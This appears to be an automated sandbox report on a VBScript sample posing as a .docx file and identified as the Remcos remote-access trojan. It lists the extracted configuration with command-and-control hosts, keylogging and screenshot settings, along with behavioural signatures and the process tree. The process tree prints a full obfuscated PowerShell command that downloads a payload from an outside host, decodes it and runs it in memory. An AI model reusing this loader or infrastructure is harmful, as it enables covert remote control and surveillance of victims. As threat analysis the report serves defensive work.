Overview

overview

10

Static

static

1

OD_0014_08...cx.vbs

windows10-2004-x64

10

OD_0014_08...cx.vbs

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    130s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/08/2026, 13:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    OD_0014_0818026_docx.vbs
  • Size 912KB
  • Sample260818-qs8tkavsd1
  • SHA256 6a05db1db4b89f3b8d1556b1c7475f530a6015ec3b91ae39e51b1f69e34cca5a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
x64executionremcospersistencerat

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://pamelasmeyers.com/19/MSI_PRO.png

Extracted

Family

  • remcos

Version

  • 7.2.6 Pro

Botnet

  • X64

C2

  • dentalux202.ydns.eu:58268

  • dentalux202bk.ydns.eu:58798

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-7B2KOZ

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\OD_0014_0818026_docx.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    PID:5784
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$dereligionises=''http://pamelasmeyers.com/19/MSI_PRO.png''; $Eucharists = [System.Net.HttpWebRequest]::Create($dereligionises); $Eucharists.UserAgent = ''Mozilla/5.0''; $livistona = $Eucharists.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($livistona); $velure = $reader.ReadtoEnd(); $eruptivity=''IN-''; $machetes=''-in1''; $ductule=[string]::IndexOf($velure, $eruptivity); $pajero=$velure.LastIndexOf($machetes); if($ductule -eq -1 -or $pajero -eq -1){return}; $painful=$ductule+$eruptivity.Length; $gastrodialysis=$velure.Substring($velure.IndexOf($eruptivity)+$eruptivity.Length, $pajero-($velure.IndexOf($eruptivity)+$eruptivity.Length)); $delibration=$gastrodialysis.Replace(''*'',''A'').ToCharArray(); $supernaturally = -join $delibration[($delibration.Length - 1)..0]; $cnv = [Type]::GetType((''Sys''+''tem''+''.Con''+''vert'') -join ''''); [byte[]]$hobblingly = $cnv.GetMethod((''Fr''+''omBase6''+''4St''+''ring'') -join '''').Invoke($null, ($supernaturally)); $Tiahuanaco=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $babyboomer=$Tiahuanaco.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $idolization=(''ue/E/h3QsjR0FjcAd+hkll7PZ5uSW3RHcxJK/sXCflcNaMFdYpkRSHcf+Hp8YGG5r+X2zRgBN84noVE+6a9ZOA=='',''qewCz1WtYqh8Svt9CYTi7l1/pbFA8xoD8E+/hbM5c+4='',''Fej7nXeItxydAEY7sk/DIggnDpMtihRON4nN4zV8rmQaCbJ6GwTTwhuQ3rLqsMxb'',''h9fncPavhEvcnvgAnSQeRQ3zZuSZfEJElh7QTNv68LI='',''BbEL3s/NJD0eBDMVvAPlTOFrH4CbjNFtUp12jt78mZs='','''',''BAkRJg2kjZ32A2DMxh1/qysBXekR88Nr2GRxGmDvYgU='',''mVC2o1mGWxMR0d9+OGzBLefeWPZMLAJq77uVJ4LiJ58='',''n24ryISTMY591l3ZsPsd+0jwgJ696KwsxnSyDDXWuTg='',''ihA/nM7CFmpOaEaG1UwFpJxyUCtGbVWhyxAgb19xlVWmd+VGpFbP6Lh7qM+z712L'',''ci/ACM19nLQg9ZpI0JNddxnBDm+scnGxtiXYY7HZO9Y='',''7cGL6tl4jBQc0TLiUNwAoPxJ6g0vPvrsl+PqICdJtBk='',''M7910fzcjmtvD0b5JZC7GwGWMIUUQdVE29KkRlQWNzA='',''8jKIDZanLdLq2c+IRq/4Rd9V43/V11LKkPm36uaCcn0='',''jnztYCu5tjSrq/FPJfGpwZvwVgyV0RQXwmT5S/FL4OM='',''79p1OdGq/tTdWeA1WzJl4UbFlVatsPwTaMQEAKxnkRI='','''','''',''''); try{$coffeecake=($babyboomer.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($coffeecake.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$idolization)}catch{}'))"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3508
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
      2⤵
        PID:2484
    • C:\Windows\system32\wscript.exe
      wscript.exe
      1⤵
        PID:4352

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/2484-17-0x0000000140000000-0x00000001400AB000-memory.dmp
            Download

            memory/3508-10-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
            Download

            memory/3508-12-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
            Download

            memory/3508-3-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
            Download

            memory/3508-4-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
            Download

            memory/3508-7-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
            Download

            memory/3508-8-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
            Download

            memory/3508-9-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
            Download

            memory/3508-0-0x00007FFBD6F7F000-0x00007FFBD6F80000-memory.dmp
            Download

            memory/3508-2-0x000001DA7F5E0000-0x000001DA7F602000-memory.dmp
            Download

            memory/3508-13-0x000001DA198D0000-0x000001DA1999E000-memory.dmp
            Download

            memory/3508-11-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
            Download

            memory/3508-14-0x000001DA7F610000-0x000001DA7F622000-memory.dmp
            Download

            memory/3508-15-0x000001DA19E00000-0x000001DA19E0A000-memory.dmp
            Download

            memory/3508-16-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
            Download

            memory/3508-1-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
            Download

            memory/3508-19-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
            Download

            memory/3508-20-0x00007FFBD6DF0000-0x00007FFBD7794000-memory.dmp
            Download